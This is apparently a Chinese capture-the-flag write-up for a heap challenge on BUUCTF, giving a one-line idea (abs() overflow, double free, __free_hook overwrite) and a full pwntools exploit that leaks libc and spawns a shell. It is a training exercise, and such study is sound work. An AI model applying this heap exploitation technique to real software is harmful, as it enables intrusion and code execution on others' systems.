思路
abs函數(取絕對值)的溢出使得爲負數然後改size構造2個指針指向同一chunk完成一次double free爲遠程ubuntu18即可以直接打free_hook
exp:
from pwn import *
#p=process('./pwn')
p=remote('node3.buuoj.cn',26942)
elf=ELF('./pwn')
libc=elf.libc
def add(size,content):
p.sendlineafter('Exit','1')
p.sendlineafter('Size:',str(size))
p.sendlineafter('Content:',content)
def edit(idx,wher,content):
p.sendlineafter('Exit','2')
p.sendlineafter('?',str(idx))
p.sendlineafter('?',str(wher))
p.sendlineafter('Content:',content)
def delete(idx):
p.sendlineafter('Exit','3')
p.sendlineafter('?',str(idx))
def show(idx):
p.sendlineafter('Exit','4')
p.sendlineafter('?',str(idx))
for i in range(20):
add(2,'/bin/sh\x00')
payload='\x11'*0x18+p64(0x481)
edit(0,0x80000000,payload)
delete(0)
add(2,'aaaa')
show(1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-96-0x10
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
add(2,'bbbb')
delete(1)
delete(21)
add(2,p64(free_hook))
add(2,'doudou')
add(2,p64(system))
#show(6)
delete(18)
p.interactive()